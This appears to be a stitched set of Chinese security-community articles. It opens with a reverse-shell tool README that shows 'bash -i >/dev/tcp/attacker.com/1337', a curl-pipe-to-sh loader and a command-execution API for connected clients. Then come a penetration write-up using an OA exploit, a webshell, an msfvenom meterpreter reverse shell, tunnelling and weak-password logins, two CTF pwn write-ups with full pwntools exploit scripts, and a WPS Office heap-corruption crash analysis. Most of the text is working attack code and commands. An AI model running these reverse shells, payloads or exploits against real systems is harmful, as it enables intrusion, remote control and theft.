# curl http://192.168.1.2:8080/attacker.com/1337
bash -c 'bash -i >/dev/tcp/attacker.com/1337 0>&1'
# sh -c "$(curl http://192.168.1.2:8080/attacker.com/1337)"
// if the attacker info not specified, it will use host, port as attacker-host attacker-port
// sh -c "$(curl http://host:port/)"
# curl http://192.168.1.2:8080/
curl http://192.168.1.2:8080/192.168.1.2/8080|sh
# sh -c "$(curl http://host:port/)"
#### RESTful API
* `GET /client` List all online clients
# curl 'http://127.0.0.1:9090/client'
{
"msg": [
"192.168.1.3:54798"
],
"status": true
}
* `POST /client/:hash` execute a command on a specific client
# curl -X POST 'http://127.0.0.1:9090/client/0723c3bed0d0240140e10a6ffd36eed4' --data 'cmd=whoami'
{
"status": true,
"msg": "root\n",
}
* How to hash?
# echo -n "192.168.1.3:54798" | md5sum
0723c3bed0d0240140e10a6ffd36eed4 - | 社区文章 |
**前言**
由于最近某SRC开启众测福利，所以咱就跟着挖个洞，写篇文章，一举两得。(厚码见谅)嘿嘿
**渗透开始**
1. WEB撕口子：
Web方面的突破口是一个OA系统
致远OA嘛大家都知道，网上复现教程也特别多所以就不在多啰嗦了直接上EXP利用，（工具是本人自己写的哈），地址是[各OA-EXP](https://github.com/XiaoBai-12138/OA-EXP "OA-EXP")
传完马子冰蝎连接准备后续操作
到这里本想添加个用户直接远程登陆服务器了，但是遇到了点问题远程桌面没开启（也可能是换了端口）
然后我们试着找找rdp服务看看是否启用，端口是多少
tasklist /svc | find "Ter"
这里我们发现RDP服务存在，PID为3308
接下来查一下端口号
netstat -ano|findstr "3308"
2. 内网部分：
用IP:3308登陆结果还是拒绝连接，这时候怀疑是只允许内网登陆，我们用MSF生成个马子，先上线MSF再说
msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=MSFIP地址 LPORT=端口 -f exe -o /root/vhs.exe
然后开启监听并将root目录下生成的马子上传到目标中运行
监听：
msf6> use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 127.0.0.1
msf6 exploit(multi/handler) > set lport 3080
msf6 exploit(multi/handler) > exploit
上线以后查看系统信息，权限等
发现是用户权限，使用默认的提权来试试，直接OK...
接下来搭建个socks5隧道，以便内网横向啥的。这里我使用的是NPS隧道，这个在Github上开源的项目，这里就不细说了，有需要的话我在单独出一篇关于隧道的文章。
搭建好隧道以后使用proxychains连接socks隧道，此时我们MSF机器的IP已经变成目标机的IP地址了
这次使用内网的IP登陆远程桌面，已经发现可以登陆了
MSF接着信息收集，扫描内网主机发现没域控，那就直接用目标的cmd一句话探测了
C:\Windows\system32>for /l %i in (1,1,255) do @ping 192.168.*.%i -w 1 -n 1 | find /i "ttl"
for /l %i in (1,1,255) do @ping 192.168.*.%i -w 1 -n 1 | find /i "ttl"
Reply from 192.168.*.21: bytes=32 time<1ms TTL=128
Reply from 192.168.*.22: bytes=32 time<1ms TTL=128
Reply from 192.168.*.100: bytes=32 time<1ms TTL=128
Reply from 192.168.*.101: bytes=32 time<1ms TTL=128
Reply from 192.168.*.102: bytes=32 time<1ms TTL=128
Reply from 192.168.*.103: bytes=32 time<1ms TTL=64
Reply from 192.168.*.105: bytes=32 time<1ms TTL=128
Reply from 192.168.*.106: bytes=32 time<1ms TTL=128
Reply from 192.168.*.107: bytes=32 time<1ms TTL=128
Reply from 192.168.*.108: bytes=32 time<1ms TTL=64
Reply from 192.168.*.150: bytes=32 time<1ms TTL=128
Reply from 192.168.*.151: bytes=32 time<1ms TTL=128
Reply from 192.168.*.155: bytes=32 time<1ms TTL=128
Reply from 192.168.*.187: bytes=32 time<1ms TTL=128
Reply from 192.168.*.188: bytes=32 time<1ms TTL=128
Reply from 192.168.*.189: bytes=32 time<1ms TTL=128
Reply from 192.168.*.201: bytes=32 time<1ms TTL=128
Reply from 192.168.*.254: bytes=32 time<1ms TTL=255
Reply from 192.168.*.254: bytes=32 time<1ms TTL=255
通过TTL可以看到应该两台Linux机器，直接SSH连接，密码123456789登陆成功。。。
Windows也一样，密码123456789图就不贴了没意思。。
**成果**
避免影响人家业务就没有进行批量端口扫描等大量占用带宽的行为就只测了常用端口
弱口令拿下两台内网Linux服务器
弱口令拿下多台Windows服务器
内网弱口令拿下两个后台管理系统
**修复建议**
问题漏洞已提交厂商
友情提示大家别因为是内网就放松警惕，那密码直接就123456。。。都整无语了
然后欢迎也大家跟我一起交流学习，文章有哪里不足请各位大佬多多包涵 | 社区文章 |
# glibc2.31下通过IOAttack开启ROP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 程序分析
* 每次开始前会检查两个hook
* Add会情况tcache
* Delete就是正常的删除
* View会根据strlen的结果输出
* Edit则是根据命令来的
* Gift则会安装下面的命令解析, 有一个向上的堆溢出
## 思路
* 虽然输入时进行了00阶段, 但是Edit写入时没有00阶段 把一个chunk放入LargeBin然后再申请出来, 然后利用Edit覆盖掉00再通过View就可以得到libc地址和heap地址
* Gift没有限制p的上限因此是存在堆溢出的, 但是Gift只读入0x100, 而chunk最少0x400, 所以必须要写一个循环的小程序实现:
* [会判断note[idx][p]是否为00, 如果是00的话就跳转到]后面一个位置, 如果不是则什么也不做相当于nop
* 因此把chunk全部用AAA填充, 然后Gift执行`[>]`, 就可以跳过所有的非空字符, 然后利用多个`,>`解析堆溢出
* 有了堆溢出之后由于限制了size>0x400, 所以就想LargeBinAttack,在rtld_global中写入一个heap地址, 劫持fini_arr段, 在exit时触发getshell, 但是找了半天发现程序没用exit(), 调用的都是_exit(), 所以就只能放弃
* exit()无法利用, 并且hook会有检查, 翻一下题目发现会时不时的调用printf() getchar() 等IO相关函数, 因此就只能进行IOAttack了.
* 可是只有一个堆地址写入无法完成IOAttack, 必须扩大战果, 后来发现一个比较鸡贼的地方, size>0x400包含一个0x410的大小, 而0x410就是tcache能管理的最大的size了. 所以利用LargeBinAttack直接打TLS段中的tcache指针, 劫持`tcache->next[0x410]`这个链表的链表, 从而实现任意写. 同时Add每次覆盖的都是原来的tcache对象, 不会影响劫持的, 然后就可以开启IOAttack了
* 2.31下的IOAttack是比较简单的, 虽然不能劫持虚表指针, 但是stdin/ stdout/ stderrr三个标准流使用虚表位于一个可写入段, 可以直接利用tcache去覆盖虚表中的函数指针为OGG, 然后调用getchar()或者printf()函数, 直接getshell
* 但是后续发现禁用了execve(), 因此只能想办法通过IOAttack进行ROP, 后续发现getchar()的虚表调用指令是`mov rax, [虚表+偏移]; jmp rax`也就是说rax中就是指令地址, 这种跳转是无法通过GG去控制更多寄存器的, 而printf()的虚表调用指令为`lea rax, [虚表+偏移]; jmp [rax]`跳转之后rax残留的指针指向虚表区域, 也就是我们可控的位置, 是有希望通过rax控制更多寄存器的.
* 但是我利用了一个更巧妙的方法来进行ROP, 虚表中调用的函数有一个特点: 函数的第一个参数就IO_FILE对象自己, 对于printf来说, 如果能够 **控制IO_2_1_stdout为SigreturnFrame并且控制_IO_file_jumps中__overflow函数为setcontext就可以开启ROP** ,
* 这就要求Tcache任意写两次, 可是我们只能申请一个属于tcache的size, 但是如何要写入的地方存在一个执行下一个要写入地址的指针, 就可以直接伪造一个包含2个chunk的0x410的tcache链表, 这个条件是否存在呢?结果时存在的
* stdout使用的虚表同时被stdin stdout stderr三个流使用, 并且有一个特点: **stderr正好高就位于stdout上方不远处**
* 也就是说可以把令`tcache->next[0x410] = &stderr->vtable`,
* malloc(0x408)首先会申请到stderr的vtable指针所在位置, 向后8字节就是stdout
* 取出chunk1时有: `tcache->next[0x410] = (&stderr->vtable)->next = vtabele`,
* 因此再次malloc(0x408)就可以申请到stdout使用的虚表, 完成劫持
* 至此我们可以控制rdi与rip, 直接覆盖函数指针为setcontext就可以开启SROP.
* 但是我想额外说明一下SROP时rdi与rdx的问题. 2.27一下的libc中setcontext函数全称使用的都是rdi, 但是在2.31中setcontext设置寄存器部分的使用的是rdx设置寄存器
* 当我们只能控制rdi与rip时有两种绕过思路
* rdi设置为frame地址, 调用setcontext(). 但是必须要设置保存浮点状态的指针`frame['&fpstate']`部分为一个可读写的地址, 这样直接执行setcontext()是没问题的
* 第二种是寻找一个通过rdi设置rdx与rip的GG, 利用这个GG中转一下, **把rdi与rip的控制权转换为rdx与rip的控制权** , 然后跳转到setcontext+61处, 不执行fldenv指令, 直接进入到设置通用寄存器的部分
* 我个人更喜欢第一种思路, 只需要顺便设置一个可读可写地址, 就不用费心思中转了
## EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote(host, port)
def Num(n):
sh.send(str(n).ljust(0x10, '\x00'))
def Cmd(n):
sh.recvuntil('>> \n')
Num(n)
def Add(sz, cont=''):
if(cont==''):
cont = 'A'*sz
Cmd(1)
sh.recvuntil('Size: ')
Num(sz)
sh.recvuntil('Message: ')
sh.send(cont)
def Delete(idx):
Cmd(2)
sh.recvuntil('Index: ')
Num(idx)
def View(idx):
Cmd(3)
sh.recvuntil('Index: ')
Num(idx)
def Edit(idx, cont):
Cmd(4)
sh.recvuntil('Index: ')
Num(idx)
sh.recvuntil('Code :')
sh.send(cont)
def Gift(idx, cont):
Cmd(5)
sh.recvuntil('Index: ')
Num(idx)
sh.recvuntil('Code :')
sh.send(cont)
def Exit():
Cmd(6)
def GDB():
gdb.attach(sh, '''
telescope (0x0000555555554000+0x204050) 16
break *(0x0000555555554000+0x1c1c)
break *0x7ffff7e520cf
break *0x7ffff7e4ea26
''')
# A用来泄露地址, DF属于同一个LargeBin用于进行LargeBinAttack, E用于隔开DF防止合并, C用于溢出D
Add(0x420) #A
Add(0x408) #B
Add(0x407) #C
Add(0x460) #D
Add(0x408) #E
Add(0x450) #F
Add(0x408)
#先把A放入LargeBin中再取出来使其残留相关地址
Delete(0) #UB<=>A
Add(0x500) # 整理到LB中, LB<=>A
Delete(0)
Add(0x420, 'A') #get A again
#覆盖00截断, 读出bk获取libc地址
Edit(0, '&('*0x8+'\n')
sh.send('A'*8)
View(0)
sh.recvuntil('A'*8)
libc.address = u64(sh.recv(6)+b'\x00\x00')-0x1ebbe0-0x3f0
Log('libc.address')
#覆盖00阶段的部分, 读出fd_nextsize获取heap地址, 后续发现其实没heap地址也可以
Edit(0, '&('*0x10+'\n')
sh.send('A'*0x10)
View(0)
sh.recvuntil('A'*0x10)
heap_addr = u64(sh.recv(6)+b'\x00\x00')-0x2b0
print(hex(heap_addr))
#后续LargeBinAttack时会覆盖TLS的tcache指针为F的地址, 因此预先在F中伪造一个tcache对象
Delete(5)
exp = b'\x02'*0x268 # 一个链表有2个chunk
exp+= p64(libc.address+0x1ec698) #同时控制stdout与虚表的关键: Tcache[0x410] = &stderr->vtable
exp = exp.ljust(0x450, b'\x00')
Add(0x450, exp) #申请时写入, 因此Edit用起来不太方便
#先把同一个Largebin中更大的那一个放入Largebin中, 因为LargeBinAttack在 要整理的chunk是所属Largebin最小chunk时 发生
Delete(3)
Add(0x500) #LB<=>D
#进行堆溢出, 覆盖D->bk_nextsize = tcache@TLS - 0x20
exp = '[>]'+('>,')*0x29+'\n'
Gift(2, exp)
sh.send(b'A'+flat(0x471, libc.address+0x1ebfe0, libc.address+0x1ebfe0, 0, libc.address+0x1f34f0-0x20))
#把D整理到所属Largebin中, 触发LargeBinAttack, 劫持Tcache
Delete(5) #UB<=>D, LB<=>F
Add(0x500)
#至此我们有Tcache-> (stdout-0x8) -> (_IO_file_jumps)
#先申请出来的chunk位于stdout附近, 因此要在这里布置好SigreturnFrame, 同时要保存原有数据, 不能干扰正常的调用虚表函数的逻辑
exp =flat(0) #stderr->vtable
exp+= flat(0xfbad2087) #stdout
for i in range(12):
exp+= flat(i)
ret = libc.address+ 0x25679
buf = libc.address+0x1ec878
rdi = libc.address+0x26b72
rsi = libc.address+0x27529
rdx = libc.address+0x11c371 #pop rdx; pop r12; ret;
exp+= flat(libc.address+0x1eb980)
exp+= flat(0x101, 0x102, 0x103)
exp+= flat(libc.address+0x1ee4c0)
exp+= flat(0x201, 0x202)
exp+= flat(libc.address+0x1ec790) # frame['rsp'], 指向后面的rop部分
exp+= flat(ret) # frame['rip']
exp+= flat(0x302, 0x303, 0xffffffff, 0x305, 0x306)
exp+= flat(libc.address+0x1ed4a0)
exp+= flat(libc.address+0x1ec5c0)
exp+= flat(libc.address+0x1ec6a0)
#要执行的ROP
rop = flat(rdi, buf, rsi, 0, libc.symbols['open'])
rop+= flat(rdi, 3, rsi, buf, rdx, 0x30, 0, libc.symbols['read'])
rop+= flat(rdi, 1, rsi, buf, rdx, 0x30, 0, libc.symbols['write'])
exp+= rop.ljust(208, b'\x00')
exp+= flat(0, 0, 0)
exp+= b'./flag\x00'
#覆盖stdout
Add(0x408, exp) #alloc to stdout
#再次申请覆盖就是虚表了, 直接覆盖为setcontext就好
exp = cyclic(0x38)
exp+= flat(libc.symbols['setcontext'])
Add(0x408, exp) #alloc to vtable
#然后调用printf触发ROP
Edit(1, 'A\x00')
sh.interactive() | 社区文章 |
<https://hackme.inndy.tw/scoreboard/>
题目很有趣，我做了notepad这个题目感觉还不错，我把wp分享出来，方便大家学习
very_overflow的题目要求是：
nc hackme.inndy.tw 7713
把notepad直接拖入ida中:
main函数：
menu函数：
bash函数：
cmd函数：
rstrip函数：
notepad函数：
notepad_new函数：
notepad_open函数：
notepad_delete函数：
notepad_rdonly函数：
notepad_keepsec函数：
这个程序初看很复杂，函数很多，功能也很多，但是还是逃不出ctf的一些出题套路，可以参考这个问题：
<http://www.cnblogs.com/Ox9A82/p/5559167.html> ，所以主要的漏洞点会出在notepad_open的编辑功能中
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护:
这个题目开了栈不可执行和canary保护，所以不可能是栈溢出
这个题目在创建一个notepad的时候会把数据和函数指针一起放入堆中，这个题目的漏洞点在notepad_open调用的menu函数中，因为notepad_open会根据你在菜单中选择的项目调用堆中指定的函数，因为menu函数只限制了选择的上限，没有限制选择的下限，所以可以让menu函数的返回结果为负数，这样调用的函数指针会指向上一块内存中的数据，也就是你可以控制的content的数据
而泄露libc基地址的方法是，第一次调用strncpy函数
目的是利用strncpy这个函数把0xfff2c9f4中的数据复制到0xfff2c9f0中去
然后再调用printf函数
这样就可以利用printf函数来泄露栈中任意数据了
然后再利用函数的编辑功能把第一块堆中的数据改成MAGIC_addr，最后再利用一次notepad_open函数就可以getshell了
我的exp是：
#!/usr/bin/env python
# -*- coding: utf-8 -*- __Auther__ = 'niexinming'
from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
localMAGIC = 0x3ac5c #locallibc
remoteMAGIC = 0x3ac3e #remotelibc #libc6_2.23-0ubuntu3_i386.so
def debug(addr = '0x8048ce8'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
def base_addr(prog_addr,offset):
return eval(prog_addr)-offset
elf = ELF('/home/h11p/hackme/notepad')
printf_addr=elf.plt['printf']
print 'printf_addr:'+hex(printf_addr)
strncpy_addr=elf.plt['strncpy']
print 'strncpy_addr:'+hex(strncpy_addr)
printf_got_addr=elf.got['printf']
print 'printf_got_addr:'+hex(printf_got_addr)
#io = process('/home/h11p/hackme/notepad')
io = remote('hackme.inndy.tw', 7713)
payload1='a'*4+p32(printf_addr)+p32(strncpy_addr)+'a'*3
#debug()
io.recvuntil('::> ')
io.sendline('c')
io.recvuntil('::>')
io.sendline('a')
io.recvuntil('size > ')
io.sendline('16')
io.recvuntil('data > ')
io.send(payload1)
io.recvuntil('::> ')
io.sendline('a')
io.recvuntil('size > ')
io.sendline('16')
io.recvuntil('data > ')
io.send('a'*15)
io.recvuntil('::> ')
io.sendline('b')
io.recvuntil('id > ')
io.sendline('1')
io.recvuntil('edit (Y/n)')
io.sendline(p32(0x59))
io.recvuntil('content > ')
io.sendline('%1067$p')
io.recvuntil('::> ')
io.sendline(p32(93))
io.recvuntil('::> ')
io.sendline('b')
io.recvuntil('id > ')
io.sendline('1')
io.recvuntil('::> ')
io.sendline(p32(92))
libc_start_main_247=io.recv().splitlines()[0]
libc_start_main=base_addr(libc_start_main_247,0xf7)
print "libc_start_main:"+hex(libc_start_main)
#local_libc_base=base_addr(libc_start_main_247,0x18637)
#print "libc_base:"+hex(local_libc_base)
remote_libc_base=base_addr(libc_start_main_247,0x18637)
print "libc_base:"+hex(remote_libc_base)
#MAGIC_addr=local_libc_base+localMAGIC
MAGIC_addr=remote_libc_base+remoteMAGIC
payload2=p32(MAGIC_addr)
print "MAGIC_addr:"+hex(MAGIC_addr)
#io.recv()
io.sendline('b')
io.recvuntil('id > ')
io.sendline('0')
io.recvuntil('edit (Y/n)')
io.sendline('Y')
io.recvuntil('content > ')
io.sendline(payload2)
io.recvuntil('::> ')
io.sendline('a')
io.recvuntil('::> ')
io.sendline('b')
io.recvuntil('id > ')
io.sendline('1')
io.recvuntil('::> ')
io.sendline(p32(91))
io.interactive()
io.close()
效果是： | 社区文章 |
本文为翻译文章，原文链接：<http://zeifan.my/security/rce/heap/2020/09/03/wps-rce-heap.html>
## 前言
这部分是关于WPS Office的简介，外国人自是要简单了解一下的，至于国人，duck不必吧，因此略去。
WPS
Office软件中存在一个远程执行代码漏洞，对于特制的Office文件，不正确处理内存中的对象会触发此漏洞。利用此漏洞可以在当前用户的上下文中运行任意代码。但是利用不成功的话，可能会导致拒绝服务。
漏洞产品：WPS Office
影响版本：11.2.0.9453。
## 漏洞分析
> Qt 类库里大量的类根据功能分为各种模块，这些模块又分为以下几大类：
> Qt 基本模块（Qt Essentials)：提供了 Qt 在所有平台上的基本功能。
> Qt 附加模块（Qt Add-Ons)：实现一些特定功能的提供附加价值的模块。
> 增值模块（Value-AddModules)：单独发布的提供额外价值的模块或工具。
> 技术预览模块（Technology Preview Modules）：一些处于开发阶段，但是可以作为技术预览使用的模块。
> Qt 工具（Qt Tools)：帮助应用程序开发的一些工具。
> 基本模块中，有一个名为Qt Core的模块，主要提供核心的非 GUI
> 功能，所有模块都需要这个模块。这个模块的类包括了动画框架、定时器、各个容器类、时间日期类、事件、IO、JSON、插件机制、智能指针、图形（矩形、路径等）、线程、XML
> 等。所有这些类都可以通过 <qtcore> 头文件引入。
> (这段是我自己找的资料)</qtcore>
WPS Office的`Qt模块`（用于图像格式解析）中发现堆损坏，嵌入特制的WPS
office图片可能会触发此漏洞。WPS在打开特制的文档文件时，将触发访问冲突：EDX指向数组，而EAX却指向数组的索引。
0:000> g
(c50.b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000000c0 ebx=006f1c48 ecx=cd2aefbc edx=cd2c6f80 esi=2ed7ae18 edi=0000001c
eip=6ba13321 esp=006f1b44 ebp=006f1b44 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
QtCore4!QMatrix::dy+0x48a8:
6ba13321 8b448210 mov eax,dword ptr [edx+eax*4+10h] ds:002b:cd2c7290=????????
崩溃是如何触发的？让我们看一下PNG的header格式。
00029E30 FF 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 ÿ‰PNG........IHD
00029E40 52 00 00 02 80 00 00 01 C6 04 03 00 00 00 16 0A R...€...Æ.......
00029E50 27 FC 00 00 00 04 67 41 4D 41 00 00 B1 88 95 98 'ü....gAMA..±ˆ•˜
00029E60 F4 A6 00 00 00 30 50 4C 54 45 00 00 00 80 00 00 ô¦...0PLTE...€..
00029E70 00 80 00 80 80 00 00 00 80 80 00 80 00 80 80 80 .€.€€...€€.€.€€€
00029E80 80 80 C0 C0 C0 FF 00 00 00 FF 00 FF FF 00 00 00 €€ÀÀÀÿ...ÿ.ÿÿ...
00029E90 FF FF 00 FF 00 FF FF FF FF FF 7B 1F B1 C4 00 00 ÿÿ.ÿ.ÿÿÿÿÿ{.±Ä..
偏移量`0x29E31-0x29E34`是PNG文件格式的签名标头。PNG头文件的结构为：
PNG签名 --> IHDR --> gAMA --> PLTE --> pHYs --> IDAT --> IEND
当Word文档中存在嵌入式的PNG文件时，WPS Office
Suite会使用`QtCore`库解析该`PLTE`结构，从而触发堆损坏。该漏洞位于偏移量`0x29E82`到`0x29E85`之间，具体为调色板的解析失败，从而触发了堆中的内存损坏。
崩溃触发之前的堆栈跟踪如下：
00 00ee1790 6b8143ef QtCore4!path_gradient_span_gen::path_gradient_span_gen+0x6a71
01 00ee17f0 6b814259 QtCore4!QBrush::setMatrix+0x234
02 00ee58d4 6b8249a4 QtCore4!QBrush::setMatrix+0x9e
03 00ee58ec 6b80cc84 QtCore4!QImage::rect+0x22b
04 00ee5908 6b857ccc QtCore4!QTransform::inverted+0xec8
05 00ee629c 6b81c55b QtCore4!QSvgFillStyle::setFillOpacity+0x1b59
06 00ee6480 6b896844 QtCore4!QPainter::drawPixmap+0x1c98
07 00ee6574 6d1e0fbd QtCore4!QPainter::drawImage+0x325
08 00ee6594 6d0dd155 kso!GdiDrawHoriLineIAlt+0x11a1a
在QtCore4解析嵌入式图像之前，KSO模块调用了`kso!GdiDrawHoriLineIAlt`。使用IDA
Pro分析发生异常处的函数，发现最后的崩溃路径如下（来自WinDBG）：
QtCore4!QMatrix::dy+0x48a8:
6ba13321 8b448210 mov eax,dword ptr [edx+eax*4+10h] ds:002b:cd2c7290=????????
IDA Pro反汇编该函数：
.text:67353315 push ebp
.text:67353316 mov ebp, esp
.text:67353318 movzx eax, byte ptr [ecx+edx] ; **crash here**
.text:6735331C mov ecx, [ebp+arg_0]
.text:6735331F mov edx, [ecx]
.text:67353321 mov eax, [edx+eax*4+10h]
.text:67353325 mov ecx, eax
从崩溃点转储的信息得知，应用程序在`0x67353321`处(`mov eax,
[edx+eax*4+10h]`)触发了访问冲突。可以看到，EAX寄存器的值为`0xc0`。因此，从这里可以根据导致异常的指令对寄存器的状态进行一些假设。尤为需要注意的是，在发生异常之前，我们可以看到`ECX（0xc0）`的值被写入到以下指令所定义的任意位置：
mov ecx, [ebp+arg_0]
此外，除了故障指令，EBP的偏移量存储在ECX中。我们在前面提到的指令（偏移量为`0x6ba1331c`）上设置了一个断点，以观察内存使用情况。可以看到，断点触发后，第一个值`c45adfbc`指向另一个指针，而它本该指向某个数组。
Breakpoint 0 hit
eax=0000000f ebx=004f1b40 ecx=d3544100 edx=0000001c esi=d1200e18 edi=0000001c
eip=6ba1331c esp=004f1a34 ebp=004f1a34 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
QtCore4!QMatrix::dy+0x48a3:
6ba1331c 8b4d08 mov ecx,dword ptr [ebp+8] ss:002b:004f1a3c=c45adfbc
0:000> dc ebp+8
004f1a3c c45adfbc 00000048 00000000 6f13830f ..Z.H..........o
004f1a4c 004f5cc8 00000000 00000000 00000000 .\O.............
004f1a5c 00000000 004f65a0 004f662c 00000000 .....eO.,fO.....
004f1a6c 779eae8e 00000000 00000001 3f800000 ...w...........?
004f1a7c 3f800000 3f31e4f8 3f800000 3f800000 ...?..1?...?...?
004f1a8c 3f800000 3f31e4f8 3f800000 3de38800 ...?..1?...?...=
004f1a9c 3de38800 3d9e1c8a 3c834080 004f3c00 ...=...=.@.<.<O.
004f1aac 4101c71c 6ba13315 3f800000 4081c71c ...A.3.k...?...@
继续跟踪`c45adfbc`处的内存引用，发现另一个指针。第一个值`ab69cf80`通常表示为指向它所引用的任何地方的指针。因而，指针`ab69cf80`基本上是我们指针的索引数组。
0:000> dc c45adfbc
c45adfbc ab69cf80 d3544100 00000003 00000280 ..i..AT.........
c45adfcc 0000055a 00000012 c0c0c0c0 1c3870e2 Z............p8.
c45adfdc 40ad870e 1c3870e2 40ad870e 00000000 [email protected]....@....
c45adfec 00000000 c0c0c0c1 6c1d12c0 00000000 ...........l....
c45adffc c0c0c0c0 ???????? ???????? ???????? ....????????????
c45ae00c ???????? ???????? ???????? ???????? ????????????????
c45ae01c ???????? ???????? ???????? ???????? ????????????????
c45ae02c ???????? ???????? ???????? ???????? ????????????????
0:000> dc ab69cf80
ab69cf80 00000001 0000001c 00000010 00000001 ................ // 0000001c is overwritten in the register EDX and EDI before we trigger crash
//在触发崩溃点之前，寄存器EDX和EDI就被0000001c覆盖
ab69cf90 ff000000 ff800000 ff008000 ff808000 ................
ab69cfa0 ff000080 ff800080 ff008080 ff808080 ................
ab69cfb0 ffc0c0c0 ffff0000 ff00ff00 ffffff00 ................ // ffc0c0c0 where it will be stored in EAX after crash, at the moment it only takes 0xf value in EAX
//ffc0c0c0处的值会被存储在EAX中，目前它的值为0xf.
ab69cfc0 ff0000ff ffff00ff ff00ffff ffffffff ................
ab69cfd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
ab69cfe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
ab69cff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
因为知道程序崩溃的路径，所以可以使用下面的命令简单地设置一个断点。该命令将获得`edx+eax*4+10`的指针值，并检查其是否满足0xc0。
bp 6ba13321 ".if (poi(edx+eax*4+10) == 0xc0) {} .else {gc}"
0:000> g
eax=000000c0 ebx=004f1b40 ecx=c45adfbc edx=ab69cf80 esi=d1200e18 edi=0000001c
eip=6ba13321 esp=004f1a34 ebp=004f1a34 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
QtCore4!QMatrix::dy+0x48a8:
6ba13321 8b448210 mov eax,dword ptr [edx+eax*4+10h] ds:002b:ab69d290=????????
如果观察堆栈，可以看到执行情况如下：
004f1a38 6ba3cb98 QtCore4!path_gradient_span_gen::path_gradient_span_gen+0x6a74
004f1a3c c45adfbc
004f1a40 00000048
004f1a44 00000000
004f1a48 6f13830f verifier!DphCommitMemoryForPageHeap+0x16f
004f1a4c 004f5cc8
004f1a50 00000000
004f1a54 00000000
004f1a58 00000000
004f1a5c 00000000
004f1a60 004f65a0
004f1a64 004f662c
004f1a68 00000000
004f1a6c 779eae8e ntdll!RtlAllocateHeap+0x3e
如果我们反汇编`6ba3cb98`，则可以看到以下反汇编代码，为该漏洞真正的起因所在：
6ba3cb89 8b96b4000000 mov edx,dword ptr [esi+0B4h]
6ba3cb8f 8b4df4 mov ecx,dword ptr [ebp-0Ch]
6ba3cb92 52 push edx
6ba3cb93 8bd7 mov edx,edi
6ba3cb95 ff5580 call dword ptr [ebp-80h]
6ba3cb98 8b4e7c mov ecx,dword ptr [esi+7Ch]
C pseudo code
grad = *(&ptr_grad);
if ( grad > 0.0099999998 )
{
input_value = grad_size(check, size, input);
ptr_grad = *(input);
... cut here ...
我们在`6ba3cb89`地址上设置断点并观察`ESI+0xB4`，可以看到指向另一个位置的指针：
0:000> r
eax=00000000 ebx=00791878 ecx=00000005 edx=00793938 esi=cb07de18 edi=0000001c
eip=6ba3cb89 esp=00791780 ebp=00791870 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
QtCore4!path_gradient_span_gen::path_gradient_span_gen+0x6a65:
6ba3cb89 8b96b4000000 mov edx,dword ptr [esi+0B4h] ds:002b:cb07decc=cf69afbc
0:000> dc esi+0B4h
cb07decc cf69afbc c0c0c000 00000000 00000100 ..i.............
cb07dedc c0c0c0c0 00000000 00000000 00000000 ................
cb07deec 00000000 00000000 00000000 00000000 ................
cb07defc 00000000 cf030fd0 00000000 00000000 ................
cb07df0c 00000000 00000000 00000000 00000000 ................
cb07df1c c0c0c0c0 00000000 3ff00000 00000000 ...........?....
cb07df2c 00000000 00000000 00000000 00000000 ................
cb07df3c 00000000 00000000 3ff00000 00000000 ...........?....
0:000> dc cf69afbc
cf69afbc c88baf80 d1326100 00000003 00000280 .....a2.........
cf69afcc 0000055f 00000012 c0c0c0c0 1c3870e2 _............p8.
cf69afdc 40ad870e 1c3870e2 40ad870e 00000000 [email protected]....@....
cf69afec 00000000 c0c0c0c1 6c1d12c0 00000000 ...........l....
cf69affc c0c0c0c0 ???????? ???????? ???????? ....????????????
cf69b00c ???????? ???????? ???????? ???????? ????????????????
cf69b01c ???????? ???????? ???????? ???????? ????????????????
cf69b02c ???????? ???????? ???????? ???????? ????????????????
0:000> dc c88baf80
c88baf80 00000001 0000001c 00000010 00000001 ................
c88baf90 ff000000 ff800000 ff008000 ff808000 ................
c88bafa0 ff000080 ff800080 ff008080 ff808080 ................
c88bafb0 ffc0c0c0 ffff0000 ff00ff00 ffffff00 ................
c88bafc0 ff0000ff ffff00ff ff00ffff ffffffff ................
c88bafd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
c88bafe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
c88baff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
从这里我们可以知道，代码实际上并没有从指针释放任何东西。一旦指向EDX，EDX将保留指向索引数组的指针：
eax=00000000 ebx=00791878 ecx=00000005 edx=cf69afbc esi=cb07de18 edi=0000001c
eip=6ba3cb8f esp=00791780 ebp=00791870 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
QtCore4!path_gradient_span_gen::path_gradient_span_gen+0x6a6b:
6ba3cb8f 8b4df4 mov ecx,dword ptr [ebp-0Ch] ss:002b:00791864=d1326100
0:000> dc cf69afbc
cf69afbc c88baf80 d1326100 00000003 00000280 .....a2.........
